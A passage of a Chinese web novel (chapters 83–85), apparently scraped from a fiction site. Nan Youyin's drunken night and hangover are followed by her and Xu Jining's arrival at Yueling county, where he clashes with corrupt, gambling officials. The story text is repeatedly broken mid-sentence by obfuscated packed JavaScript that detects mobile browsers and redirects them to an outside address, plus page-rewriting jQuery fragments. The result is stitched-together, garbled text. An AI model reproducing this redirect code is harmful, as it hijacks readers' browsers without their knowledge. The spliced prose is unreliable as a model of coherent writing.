l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492448|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉了南有音眼眶底下的两颗泪珠。 徐寂宁柔声哄了南有音一阵,却一点效果也没有,她却转过身去,不想理他,叫他有点哭笑不得。 这时他听到台上说书先生讲得故事越听越耳熟,忙晃了晃南有音胳膊:“你听,台上说的是不是你改的那部话本子?” 说书先生正讲那本殷巧娘二嫁宁少君,刚好讲到了结尾宁少君辞官重新求娶殷巧娘那段,南有音竖着耳朵听完了,是台下一众人里叫好最起劲的。 “这不是我在末山的时候改的话本子吗?”她说道,“怎么都传到这儿来了?从最南跑到最北了。” “自然是因为改的好,新颖又别致。”徐寂宁说了几句夸赞的话,却发现南有音两只手捂住了脸。 “有音?”他有些惊愕。 “你别说了,”南有音细小地声音从指缝传出,“你夸我夸得……叫人怪不好意思的。” 徐寂宁没忍住笑了,他这下确信南有音是喝醉了,若放在平日,南有音听到他这样夸她,必然十分受用,还会叫他再多说几句,现在醉了,倒是忸怩起来了。 徐寂宁叫人收拾了餐桌剩下的饭菜,带南有音回驿站,南有音醉得不轻,走路歪七扭八,徐寂宁一面好笑,一面叫她揽着自己的胳膊走,免得摔得鼻青脸肿。 沿途的商铺还没有关门,南有音揽着他,走到糕点铺门口,定住了脚步,也不说话,只看着他,他探寻的目光看过去,她便咬着嘴唇低下头。 “你想吃?”他问道,南有音没说话,脚尖局促地摩擦着地面,瞧瞧瞥了他一眼,又很快低下头。 徐寂宁低低地笑了,觉得南有音醉了之后怪有意思的,寻常人醉了胆子更大更鲁莽豪放,到了南有音这里,却比平时含蓄了许多,也不直说想要,只是拽着他的袖口磨,搞得他心里痒痒的。 他越想越觉得好玩,存心逗她:“你想不想吃?” 南有音轻微点了点头。 他假装没看见,佯装要拉着她走:“你不说话,看来就是不想喽。” “我想吃,”南有音忙拽住他,他回过头来,她脸红红的,垂下眼帘小声道,“你给我买。” 他强忍住笑,偏偏做望洋兴叹状:“唉,多精致的点心,可惜啊,我身上没带银子。” 南有音脸拉下来了,像是很失望,看着点心,流露出几分恋恋不舍。 “也不是没有办法。”徐寂宁又说道,而后看着南有音神情峰回路转,又充满期待地看着他。 他却又故意不说话了,见南有音脸上浮现有点恼了的神态,他有些慌,想着怎么哄她,却不想南有音拽着他的臂膀摇来摇去,还柔柔地叫了一声“好哥哥”。 “好哥哥,我就想要嘛。” 声音又软又磨人,听得徐寂宁心尖痒痒的,像是被什么一下又一下的舔舐。 “真奇怪,你喝醉了,怎么还会撒娇了?”他无奈地轻轻笑道,“有音,银两在你身上呢,我是真的没有钱。” 南有音目光一滞,大概是觉得自己竟然犯了这么蠢的问题,忘了钱全是自己拿着。 徐寂宁实在忍不住笑,笑声像涓涓流水一样,南有音真的恼了,捣了他一下,将钱袋塞进他手里。 “你去挑挑,你爱吃什么?”他推了南有音一把,同她一起进了点心铺。 但很快他就后悔这个决定了,南有音毫无节制的挑了大把点心,他一劝她,她就低下头仿佛办错事了一样盯着脚尖,叫他不忍心多说。 最后离开糕点铺时,他左手拎着大量糕点,右手是南有音,她像是要挂在他身上一样紧紧揽住他,回驿站的短短一段路,走得他筋疲力尽。 83. 宿醉 回到了驿站,南有音呆呆的,或许是这会儿酒精麻痹了大脑,她现在也不撒娇了,也不非要挂在徐寂宁身上了,看上去老实多了,只坐着什么也不干,两眼空空的,脸上挂着傻乎乎地微笑,看着徐寂宁洗漱收拾。 徐寂宁催她洗漱,她却说腿软。徐寂宁没办法,将她抱到梳妆镜前,用毛巾给她擦脸,她也不反抗,只是扑闪着湿漉漉的睫毛,瞧着镜子里的徐寂宁。 徐寂宁低头解开她的发髻,同时又在想明天给她梳什么样式的发髻,她的头发都是他梳了,从岭南回来之后,他还特意跟松梯学了几种发髻的花样。 解完头发,南有音仍就愣愣的,两颊泛着红晕,眼神水亮亮的,带着明显的醉态,徐寂宁无可奈何,又把她抱到床上:“你该不会还需要我帮你脱了衣服吧?” 然后南有音真的点了点头。 “你……”徐寂宁说不出话,他能跟一个醉成这样的人计较什么啊。 他只好耐心一件一件解开南有音的外衣,他与她离得很近,解开她腰间盘扣的时候都能感受到她的呼吸飘在他的脖子上,他发现女装那些复杂的盘扣比男装难解的多,他小心尽量不碰到南有音的身体,解的额角冒汗,南有音却在偷笑。 “有音,你该不会是故意的吧?”他闻声抬起头,他记起南有音曾说过等他伤好了,叫他也伺候她几天玩玩。 但醉醺醺的南有音只是笑。 脱了外衣,他将南有音塞进被子里,无奈说道:“天晚了,实在找不到醒酒汤,明天你恐怕会头痛了。” 南有音置若罔闻,在被子里非常不老实,尤其徐寂宁也躺下熄了灯之后,她不停地动来动去,时不时摸几下或者踢两脚的,叫徐寂宁觉得自己现在就头疼起来了。 “你别乱动。”当南有音踹在徐寂宁小腹的时候,徐寂宁闷哼一声,忍不住说道。 南有音却又伸手摸了摸刚刚她踹到的位置,问道:“疼吗?” 她越摸越往下,徐寂宁急忙一把拉开:“不疼不疼,你快老实点。” “好吧。”南有音乖乖道。 但她只老实了小小一会儿,就又开始了,这次不是摸徐寂宁了,而是致力于把又厚又重的被子蹬开。 她蹬了被子,徐寂宁就又给她盖上,反复数次之后,南有音恼了,又开始踹徐寂宁。 “有音!”徐寂宁倍感无奈,“你别动了。” “可是我好热。”南有音说得是实话,喝了一肚子酒,浑身上下都热。 她又把被子掀开了。 “光醉得头疼还不够吗?你这样要得风寒的。”徐寂宁再度将被子给她盖好。 “你怎么这么烦人。”南有音讨厌那床厚被子,在黑暗中又对徐寂宁展开了一阵攻击,然而她醉乎乎的,没什么力气,毫无章法,反而像是故意撩拨,一下在胸膛,一下在小腹,搞得怪暧昧的。 “你别动了!”徐寂宁慌了,他不得不出手,要制住南有音,两人在床上一番扭打,最终徐寂宁凭借着没喝醉的头脑取胜,牢牢箍住反应迟钝的南有音,使她的背靠在他的胸膛上,他擒住了她的两只手,叫她没法乱摸了。 南有音还想挣扎。 “不许动了!”徐寂宁在她耳边说道,他被她磨得身上热热的,“你再这样,谁知道会有什么后果!” “什么后果?”南有音非要追问。 徐寂宁不搭理她,她听到他的喘息声,像是在忍耐什么。 “好吧,那你放开我。”她退而求其次,“我不乱动了,你这样抱着我怪硌得慌。” 徐寂宁立马松开了她,但她没有履行承诺,立刻掀了被子。 “南有音!”徐寂宁有些急了,他真的怕她冻到,只好又是一番缠斗,重新箍住她,无论她说什么也不松手了。 南有音终于安静了一会儿,在徐寂宁觉得今晚终于能消停的时候,她却又在他怀里笑了起来,听上去还挺开心。 “你笑什么?”徐寂宁有些警惕,他已经被南有音折腾的不指望她能回答什么了。 “我忽然想起来,刚才吃饭的时候你问我小时候还有什么愿望来着,”南有音笑道,“我又想起一个过去觉得不可能,但现在已经实现了的愿望。” 徐寂宁问:“什么愿望?” 南有音沉默了,轻哼一声,好像突然很生他的气,挣扎着用胳膊肘捣了他的肚子一下:“不告诉你!” 徐寂宁莫名其妙,又怕南有音继续乱动,将她箍得更紧了,好在喝醉的人容易犯困,南有音没磨他太久,很快就昏昏沉沉地睡了过去。 怀里的姑娘睡过去了,他暗暗松了一口气,也稍稍送来怀里的禁锢,但他担心她半夜又要蹬被子,也或者其他心思起了些作用,他还是让她依偎在自己怀里,没有放手。 第二天一早,南有音醒来,深刻感受到什么叫头痛欲裂,不光疼,而且还犯恶心,甚至四肢也酸酸的,像是被人捆了一夜。 “我再也不想喝酒了。”她哑着嗓子对徐寂宁说道。 徐寂宁点头,深表认同,昨夜他可没少受折磨:“我觉得也是。” 他端了新熬好的醒酒汤,一勺一勺的喂给南有音,看她无精打采却又很乖的样子,与昨夜很不同,觉得可爱,有些想笑。 “你笑什么?”这次换成南有音问他了。 她的眼睛不再泛着迷离的水光了,显然是酒醒了,又是那副有话可以直说的样子了。 “我只是觉得你喝醉了之后很好玩,”徐寂宁说道,“跟你醒着的时候不太像。” “毕竟喝醉了嘛。”南有音恹恹道。 徐寂宁摸了摸她的额头,确信她没染上风寒,放心了不少,又有些好奇:“你还记得昨天晚上的事吗?” “当然记得!”提到昨夜,南有音马上忿忿不平,“你在点心铺门口故意捉弄我!” 徐寂宁又笑了:“你那个时候确实醉的不轻。” “还有,”南有音不依不饶,视线在徐寂宁小腹停留了一刻,“在床上的时候,你有什么东西总是硌到我。” “你别说了!”徐寂宁脸蹭的红了。 南有音仿佛取得胜利般的大笑,只是宿醉后的虚弱让笑声听起来不怎么清脆。 “你……你故意的!”徐寂宁气急败坏道,“你明知道是怎么回事,你还非要说出来让我尴尬!” 南有音起了点坏心思,便故意道:“是怎么回事啊?我不知道。” 她看着徐寂宁那副着急又无可奈何的样子,躲在被子里偷笑:“谁让你昨天晚上故意耍我!” 笑了一阵后她就后悔了,或许宿醉后不应该大笑,现在她头痛得更厉害了,一跳一跳的疼,她彻底地蔫了,徐寂宁看她这幅模样,又担心起来,还请了郎中来。 “我只是醉了,又不是生病了。”南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497929|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有音幸庆郎中没给她开药,只说好好休息,她可不想喝药,并且她对让徐寂宁熬药这件事信心不足。 “你昨晚总是蹬被子,叫人没法放心。”徐寂宁又摸了摸南有音的额头,犹豫要不要换一个郎中,倘若真染上风寒,那可不好玩。 “可是后来你不是把我抱住,叫我没法动了。”南有音有气无力地说,“我就是头疼,没得风寒。” “好吧,那你想吃点什么吗?到了早饭的时候了。” “不想吃,我犯恶心。” 徐寂宁不知道怎么样才能让这个脸色蜡黄的小可怜舒服些,正琢磨着是不是多熬点醒酒汤,却发现自己的衣角被小小的扯了一下。 “有音?” “徐寂宁,我头好疼,帮我揉揉。” 南有音半闭着眼睛,声音细细的,因虚弱听上去多了些许柔软,像极了昨夜喝醉了撒娇时的语气,让徐寂宁心尖又泛起那种痒痒的,却说不出的感觉了。 “你真的醒酒了吗?”他拨了拨南有音脸上的头发,伸出拇指按在她的太阳穴上,轻轻的揉按。 “嗯。”南有音软绵绵地应了一声,“没醒也没事,醉了的事我都能记得呢。” 徐寂宁的手法很好,她顿感舒服了不少,不禁喟叹道:“徐寂宁,你其实很适合当丫鬟,你蛮会伺候人的,昨晚也是……” 徐寂宁立刻说:“昨晚上我什么也没干。” 南有音扑哧一笑:“我又没说那档子事,我说你帮我洗脸什么的。” “哦……”徐寂宁有点讪讪的,又说道,“你是不是故意指使我的?” “不是,我喝醉了。”南有音无辜道,“何况我没指使你,是你自愿的。” 徐寂宁无话可说,乖乖地替南有音揉脑袋,等她又重新睡下,才轻轻松开手。 午后,南有音的宿醉缓解了,便收拾了行李,雇了车拉着她与徐寂宁往月陵去。 她没什么精神的坐在车里,脑袋仍旧涨涨的,感叹潺山沁的威力实在够大,又去瞟徐寂宁,问他为什么喝不醉。 “大概是随了太太的缘故吧,”徐寂宁说道,“她是有名的千杯不倒。” 南有音有些遗憾:“那我不就没法知道你喝醉了是什么样了,不太公平。” “喝醉了太磨人了,还是别喝醉了好。” 南有音瞪着徐寂宁道:“你是在说我喝醉了磨人喽?” 徐寂宁用沉默表示默认。 南有音又把昨夜买的一大兜点心提溜到眼前,挑出几个咬了几口,发现非常难吃,没什么味道,还很噎人,她瞥向徐寂宁,徐寂宁显然尝过了,此刻脸上的神情无疑是在感叹她的吞咽能力强悍,这也能咽下去。 她看着那满满一大兜异常难吃的点心,感到犯愁。 “你怎么买了这么多?”她问徐寂宁。 徐寂宁被她指责的语气刺得有一点点委屈:“明明是你非要让我买的啊。” “我当时喝多了啊,”她理直气壮,“喝醉了的人是不理智的,你又没喝醉了。” “我阻拦你了,”徐寂宁眼神飘忽,小声道,“可是你老是拉着我袖子撒娇,叫我没法拒绝。” “唔,”南有音若有所思,“看来只要我撒撒娇,你就没办法了。” 徐寂宁耳朵红红的,无力地反驳了一下:“倒,倒也不是,你不撒娇的时候,我也没办法啊……” 84. 月陵 接近傍晚时分,南有音与徐寂宁路过了数片光秃秃的农田与无数茅草屋后,抵达了月陵县的县衙。 县衙异常的冷清,只有一个老掉牙的门吏前来迎接。 “看来你这个新县丞不怎么受待见。”南有音对徐寂宁道。 县衙里面也空空荡荡,几个厅堂里都乱七八糟的,灰尘很厚,唯一看起来有点人气的厅堂中间摆着一张大牌桌,堆着麻将,经过三堂,内宅更是荒凉一片,干枯的荒草几乎齐腰,在寒风中猎猎作响。 老门吏解释说县令等其他官员在本地都有宅邸,不住在这里,这个时间已经回家了,等明天就能见到了。 南有音和徐寂宁穿过满园荒草,推开内宅门进去看了看,东西还算齐全,只是落得灰得有一指厚了,各个角落里挂着蛛网,天冷了,蜘蛛不在,蛛网还在。 她和徐寂宁又花了好久,从宅邸的各个角落找出了扫帚等一干工具,尘土扑面地打扫起来,今晚总归要扫出一间卧室,不然没地儿睡。 扫帚只有一把,徐寂宁便拦住南有音,不叫她插手,在这种小事上徐寂宁出奇地坚持。 “有音,你不该跟着我受苦的……”徐寂宁这样说,南有音便也随他去了,去街上逛了一圈。 当地的方言她还记得一清二楚,与街上的商贩说了几句话之后,她舌头也渐渐活泛起来,家乡话一句一句冒出来,甚至都有人听了她的口音,问她:“你是彤庄的吧?” 她“嗳”了一声,倍感亲切,彤庄在月陵东北角上,是她小时候生活的村落。 她跟小贩聊得开心,小贩要收摊,便将剩下的菜便宜卖给她了,她买了一兜萝卜,一颗白菜,一块豆腐,顺便打听买炭的在哪里,打算明天买点,把炉子烧起来。 再回到县衙内宅时,南有音大吃一惊,徐寂宁效率奇高,她逛街的功夫卧室简直大变样,地面干净的能反光,窗台桌面,甚至任何一个边边角角都找不到一丝灰尘,除了床上铺盖还没铺之外,一切简直完美。 “徐寂宁,”南有音在屋里走了一圈,由衷感叹道,“你真的很有当丫鬟的天赋。” 徐寂宁摇头:“我还不知道怎么铺床。” “不知道就不知道,反正我知道就行了。” “我要学。”徐寂宁认真道。 南有音一遍展开铺盖,一边好笑道:“你学这个做什么?这有什么好学的?” 徐寂宁说:“我学会了,你就不用忙了。” “那好吧,你看好了,铺床什么的,看看就能会。”南有音麻利的展开褥子,铺好床单,套好被罩,又找出针线要缝被罩的四角。 她缝了几针,停下揉揉眼,徐寂宁却将活接过去了,在灯底下穿针引线。 南有音瞧着徐寂宁拈着绣花针专注的模样觉得好玩,想着指不定哪天徐寂宁就学会纳鞋底绣手帕的了,憋着笑去院子里生火,架起锅做饭。 片刻后桌子摆上了一碟咸菜,是南有音在平州城买的,一锅白菜萝卜豆腐汤,氲散着白色的雾气,还有两碗粥,显然过于浓稠了些。 当南有音将她熬得菜汤和粥端到桌上时其实是有那么一点忐忑的,她已经很久没有亲自做饭了,不管是盐该放多少还是水该放多少,她已经一点数也没有了,纯粹凭着记忆和感觉捣鼓出了一顿饭。 她其实不清楚自己的厨艺,毕竟她自己捣鼓出来的东西她都能吃进去,玉振和父亲大概也能,母亲口味挑剔一点,好吃就多吃两口,不好吃就少吃两口。 至于徐寂宁,她没见过比他更挑剔的,她觉得徐寂宁要是当场忍不住吐了,她真的会恼。 “咳咳。”她刻意清了清嗓子,叫徐寂宁尝尝她的厨艺。 说起来这还是徐寂宁头一次正儿八经吃她做的饭,在徐府有小厨房,岭南一路也有客栈饭馆,流亡时连粒米也没有,更遑论做饭。 在南有音目光的注视下,徐寂宁拿起筷子安安静静的吃,喝了口汤,喝了口粥,没有对桌上简陋的菜做出什么评价,神色也正常,南有音稍稍放心了,先尝了尝粥,稠的惊人,但也能吃,又尝了尝咸菜,不如京城的精致,但也味道不错,最后又喝了口汤,咸到发苦。 她抬头看了眼徐寂宁,徐寂宁面不改色,她有些犹疑,又尝了尝汤,感觉舌头都被腌入味了,确信这锅白菜萝卜豆腐汤绝对加重了盐,惊人的咸。 她想起她非常没数的加了一次盐之后,那边的粥开锅了,她去看粥,就忘了,回来后又没数的放了一次盐,开锅后本想尝尝,但实在烫嘴,就去咸菜罐里夹咸菜了,就忘了这事。 “徐寂宁,”她说道,“你喝一口汤。” 徐寂宁犹豫一下,很听话的喝了一口,南有音惊恐地看着他的喉结动了一下,昭示着他咽了下去。 “你你你不会病了吧?”南有音大惊失色,“你怎么没吐出来?你尝不出这锅汤特别咸吗?” “我尝出来了。”徐寂宁说道。 南有音质问:“那你怎么咽下去了?还面不改色?” 徐寂宁看上去有些不安,解释道:“我不想让你觉得我很挑剔,况且这还是你亲手烧的……” 南有音发现他的眼尾泛着一层发红的水汽,想他该不会被咸哭了吧。 “算了,别喝了,这么咸真的要出人命了,”南有音把锅端走了,“我太久不做饭,有点生疏了。” 于是只剩下咸菜配白粥,看上去有些寒酸,南有音小心观察徐寂宁,看他能不能吃得惯,她已经能猜到这两样往后会常驻餐桌,除此之外,就是由她任意发挥的水煮白菜水煮土豆之类的。 徐寂宁注意到了南有音那很难被忽视的目光,问她:“你一直看着我做什么?” “我在想你能不能吃得惯。” “虽然简陋了些,但昨夜你说你小时候做梦都不敢想能天天有咸菜和白粥吃,这样想想,我也该知足。”徐寂宁脸有点不好意思,“我过去那样挑剔,想想也怪讨人厌的,难怪从前我一挑剔饮食,你就不太开心……” 南有音浅浅一笑:“你变了不少呢,渐渐开始讨人喜欢了呢。” 讨人喜欢?谁的喜欢?徐寂宁脸一热,南有音笑嘻嘻的,叫他分不出她在玩笑还是认真的。 “不过也真怪,”南有音垂眸看着桌上粗糙的饭菜说道,“白粥,还有咸菜,分明是我小时候梦寐以求的,觉得不可能实现的愿望,现在竟然都变成真的了。” “感觉我还挺幸运的,”南有音轻快说道,“好像我大多数心愿都实现了。” 徐寂宁问道:“那你昨晚上说的那个愿望又是什么呢?” 他见南有音困惑,又补充道:“你说是一个过去觉得不可能,但现在已经实现了的愿望,我问你是什么,你还捅了我。” “哦,那个啊,”南有音有些无所谓道,“就是嫁给你呗。” 徐寂宁明显愣了一下。 “这个很好猜吧,”南有音分析道,“你想啊,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505543|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你一成亲,我就说很喜欢你,说你是我的心上人,那么相应的,我就是想嫁给你呀。” “我十三岁刚到京城的时候,所有人里只有你会主动握住我的手,我就一直惦记着你,想着要是嫁给你,就有人天天牵着我的手了,”南有音托着腮,有些惆怅地追忆,“不过这个愿望确实有些缥缈了,你是尚书家的小儿子,我只是京城小官的女儿,门不当户不对的,八竿子打不着,若不是后来你病了,钦天监的人给太太出了一个八字相合的主意,我和你是一点缘分也没有。” “唉,”南有音幽幽一叹,“嫁给你这个愿望是实现了,但是,不怎么完美。说起来当初订亲之前,母亲不太赞成我跟一个病秧子订亲,爹也是反复问了我无数次是不是真心愿意才给徐老爷答复的,至于玉振,他压根不信我喜欢你,这可能就是他跟你总不对付的原因,他总以为我是被爹说服的,为了给他谋仕途才去的徐家,我跟他说我喜欢你,他说不信,问我怎么可能喜欢上一个只有一面之缘的人,我那时还觉得是他没见过你才这么想,现在我一想,倒觉得他说的很对,我那时跟你就见过一次,竟然就冒出想要嫁给你的想法,真是……” 南有音为自己过去的行为摇了摇头。 “不过说真的,要是我没跟你成亲,”南有音又笑了,“我会带着一点遗憾嫁给父母给我选的夫婿,大概也会很好的过完一生,但你的形象在我心底会永远熠熠生辉,保持在我十三岁那年的样子,我也不会知道原来那天背后是三姐姐的授意,也不会知道——” 她起了玩笑的意思,故意说道:“你呀,原来是那么挑剔,又那么娇生惯养,还总是很爱脸红,叫人讨厌。” “我会改的,有音。”徐寂宁立刻很认真地说道。 南有音没什么反应,只是盯着徐寂宁看,见他在她的注视下脸上又泛起淡淡红晕,忍不住伏在桌子上笑,笑得四角不平的桌子晃来晃去。 “有音……”徐寂宁不知道南有音笑些什么,只扶住桌子,止住摇晃。 “嗯?”南有音抬起头看向他。 他欲言又止,看上去局促不安:“我真的会改的。” 他不等南有音搭腔,又匆忙地加上半句:“你不要讨厌我。” “我讨厌你?”南有音被徐寂宁的一本正经逗得直乐,“好吧,我最讨厌你了,还得天天跟你睡在一张床上,真够烦的。” 南有音为徐寂宁的莫名其妙笑了好一阵子,徐寂宁却看上去不怎么开心,南有音猜不出他想些什么,总不至于真的在纠结自己是不是讨厌他吧?这么明显的问题,他难道还需要思考?南有音没在意他,自顾自的生火烧水洗漱。 到了夜晚,没有炭火的房间冷得像是在冰窖,几层被子也暖不过来,南有音缩在被子里,向着被子里另一个热源靠近,但另一个热源却偏偏要躲。 “好啦,徐寂宁,我一点也不讨厌你,我开玩笑呢,你怎么听不出来?”南有音不得不好声好气地哄人,“你快靠近点儿,我要冻死了。” 她说了几句软话,徐寂宁终于靠拢过来,熟悉的热源让她肢体重新舒展,有了些在被窝里而不是石头上的感觉了。 徐寂宁好像犹豫了很久,才试探着揽住了她,见她不反抗,才又将她往怀里拥了拥,最后仍有些不安地轻声说道:“你不要乱动。” 南有音猜徐寂宁现在肯定又脸红了,偷偷笑道:“我应该把昨天的酒留到今天喝的,据说潺山沁可以驱寒暖身。” 85. 县衙 到达县衙的第二天早上,南有音与徐寂宁很早就起来了,徐寂宁是睡得浅和习惯了早起,南有音则是太冷了,躺不住,她不得不起来,操心买些柴草炭火的事,虽说徐寂宁逐渐变得越来越宜室宜家,但指望他这个被伺候了二十多年,连生火都一知半解的公子哥儿去挑炭火,还是太为难他了。 南有音买了两箩筐的好炭,在屋里把火炉点上了,不一会儿就将铁炉子烧红了,热了热昨晚剩下的粥,凑合了一顿,然后徐寂宁就去正堂等着见见新同事,然而日上三竿,除了那个看门的老门吏,一个人影也没有。 直到临近正午,呼啦涌进一帮醉醺醺的人来,徐寂宁惊讶哪来一帮这样大胆的人,就这样勾肩搭背地闯进了县衙,老门吏却给他挨个指出,那个两撇胡子翘着的是知县,姓卢,涂脂抹粉爱穿花衣裳的那位是主簿,也姓卢,是知县的侄子,中间瘦成杆儿的是捕快还姓卢,是主簿的亲戚,还有挺着一个大肚子的是典史,不姓卢姓崔,但跟捕快家沾亲带故……总之就是卢知县和他亲戚的亲戚。 几人一进了县衙便直奔西厅,西厅正中摆着一张相当阔气的牌桌,桌布上是一副价值不菲的典雅象牙牌,数个玲珑精致的骰子散乱其间。一帮人迅速入座,无比熟练的摸起牌来。 徐寂宁目瞪口呆之余,仍本着家教上前一一招呼。 他的招呼略微打断了一行人摸牌的节奏,鼻子下两撇胡子的知县瞥了他一眼,点点头,算是知道了,相较而言,打扮得花枝招展的主簿就热情许多,上下打量了他几眼,问他会不会打牌。 徐寂宁点点头,主簿便叫他坐自己身边看牌,又说道:“今儿又来一个会牌的,以后可越来越热闹了。” 徐寂宁摸不着头脑,坐在这帮醉醺醺的人里,看他们赌了一阵牌,忍不住问道:“咱们这里难道没什么公务处理吗?” 知县一行人愣了,相互对视,接着爆发出一阵大笑。 “能有什么事?”胖乎乎的典史笑容有些谄媚,“咱们月陵在卢老爷的爱护下,一切太平着呢。” 虽然坐上又好几个姓卢的,但只有知县才能被称呼为卢老爷。 由典史开的头,一众人拍起了知县的马屁,手里的牌也没停下。 徐寂宁有些受不了,起身告辞。 “卢老爷,新来的这个好像不好对付。”徐寂宁身影刚消失在门口,牌桌上便议论起来。 卢知县不以为然地冷哼一声:“新来的都这样,过几天就明白过来了,都到这种地方了,还操心什么公务政事。” 又有人说:“可我听说这次来的不太一样,是从京城贬来的。” “怕什么,再怎么着也贬来的,咱们上面也有撑腰的,”卢知县侧过身跟侄子说道,“今年给知府大人的东西准备好了吗?到时候别忘了送去。” 徐寂宁走出西厅,顿觉空气都清新了不少,老门吏跟他说县衙日日如此,他难以置信,又问难道没有政务吗,于是老门吏领着他去了正堂,文案堆积,当真如山。随手一翻,还能找出数年前没审没处理的案子,问问案子上的人在哪儿,已经在狱里呆了四五年了,监牢也早填满了,该放的没放,该抓进去的还天天在街上溜达。户口文书也是一塌糊涂,死了好几年的还继续纳赋税服劳役,满街跑的小孩都是黑户,田产册更是乱的惊人,一块地竟挂在三户人家名下,官司打了数场,仍旧纠缠不清。 杂乱不堪的政务几乎看得徐寂宁两眼发黑,他沉下心,扫了扫桌上和椅子上的灰,坐了下来,打算一件一件的从头处理了。 老门吏却叫他别太认真:“里外都是卢知县的人,卢知县跟知府有联系,有人保着,最好别得罪了。” 徐寂宁不以为然,南有音将他的这种不以为然解释为“你连皇帝都敢顶撞,自然也不在乎别的了”。 徐寂宁被埋在文书案堆底下,忙得脚不沾地,南有音一直好奇他怎么办公。反正县衙的人只往西厅的牌桌去,她便也搬了一把凳子过来,便跟着徐寂宁学断案,照这样子替他批复了不少又小又琐屑的案子。 接连数日,两人都在一张案几上,桌案不大,两人只好挨得很近,南有音提笔写字,右胳膊总避无可避的碰上徐寂宁。有时她断案断倦了,就凑到徐寂宁那边,看他写字,徐寂宁总是一笔一划一丝不苟,她存了捉弄的心思,故意叫头发梢落在徐寂宁的手上,痒痒的,使得他不得不停笔,无奈的唤一声:“有音。” 这时南有音就笑眯眯的好像什么也没发生,收回身子坐好,百无聊赖地继续看她面前的琐屑案子,挑出那些她断不了的给徐寂宁,又挑出那些有意思的反复看,计划写到她的话本子里。 文书案子批了一段时间,便开始审理牢里的犯人,县衙干正事的人实在少,只有老门吏跟老门吏找来的两个年轻小卒,南有音甚至还扛了几天送女囚上公堂就审的重任。 不得不说徐寂宁效率很快,连轴转了两旬,大多数事务都料理完了,南有音帮了不少忙,尤其是在重编户籍和审理犯人上,徐寂宁在辨识本地方言上颇为头痛,很难跟当地百姓还有乡长里正沟通,全靠南有音翻译。 南有音起先还女扮男装,穿着徐寂宁的衣服,装成徐寂宁的手下新鲜了两天,后来发现无论男女老少,全都一眼就看出她是个姑娘,索性不装了,公然站在徐寂宁帮他身边处理政事了。女人的身份天然带着些亲和力,在处理妇孺老弱方面的事情,她甚至处理的比徐寂宁还好些。 徐寂宁对她的才能颇为赞赏,她很是得意:“我过去跟着我爹念书的时候,我爹说我考个秀才是一点问题也没有。” 处理了牢狱户籍一干事务,还剩下最棘手的田产,他理了数日的田产文书,发现那些冒名顶替非法侵占的土地基本都跟那位卢知县脱不了干系。 眼见新来的县丞要舞到自己头上了,天天忙着摸象牙牌的卢老爷终于坐不住了,在一个天气很好的上午,卢知县与手下进了县衙,头一次没有直奔西厅牌桌,而是直奔徐寂宁批改文书卷宗的正堂。 彼时南有音正在跟徐寂宁一块比对月陵这几年的田产变迁,列出那些侵占田产最多的人家,竟然无一例外的都跟卢知县沾亲带故。 卢知县一行人气势汹汹地闯入,南有音见来者不善,心中略一慌乱,但徐寂宁不着痕迹地轻轻拍了拍她的手背以示安抚。 “卢大人。”徐寂宁搁下笔,起身时稍稍侧身,将南有音挡在身后,又按照该有的秩序仪礼向卢知县行礼问候。 卢知县没有在意这些虚礼,他身侧的典史率先发难,声疾色利,质疑徐寂宁有意与卢老爷作对,典史有着一脸横肉与洪钟一样的嗓门,气势过人。 徐寂宁面不改色,待典史吼完了,便搬出当朝的律法,一条一条细数,表明他这些时日不过是恪尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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南有音悄悄去看徐寂宁,发现这会儿他倒是面不改色,不像是那个她随便讲几句玩笑就会脸红的人了。 她正暗中瞅着徐寂宁呢,忽然听到有人朝她发难了,说她一个女人家的,怎么还站在县衙的正堂,又阴阳怪气地问徐寂宁该不会还需要女人帮忙吧,接着一众人议论纷纷,眼睛望着南有音,诸如“不检点”、“败家模样”等词汇从嘴里涌了出来。 南有音自然知道是卢知县一干人黔驴技穷,说不过徐寂宁了,便故意拿她开涮,她倒也不屑跟他们见识,懒得生气,甚至还竖起耳朵要听听这些人还能说出什么,等着日后写进话本子里。 没听几句,便听到徐寂宁喝了一声:“住口!” 语气一改寻常的温和,反倒将南有音吓了一跳,她是想不到徐寂宁还会发火的。 徐寂宁脸上带了几分怒意,不再客气,直接冷嘲热讽起来,指责县衙官员懒怠至极,恐怕还比不上官仓的老鼠。 “随便放几只老鼠进来,乱嚼几口,公文卷宗也不至于堆积成山,”徐寂宁冷冷瞄了一眼众人,愤然道,“你们有什么资格说我夫人,她没有一官半职,本也不用费眼睛看这些公文,只是她心系民生,才替你们这些无能之人处理公务,她替你们看公文,也不需要你们发俸禄,你们应该感恩戴德才对。说起来我夫人头脑聪明,百姓也都喜欢她,我看倒不如你们继续打你们的牌,叫我夫人当知县,你们看这样如何?” 或许是徐寂宁一通话噼里啪啦砸得人晕头转向,也或许是他这个一贯温和的人忽然发起火来叫人惊讶,总之众人眼神都有些呆滞,好久反应不过来。 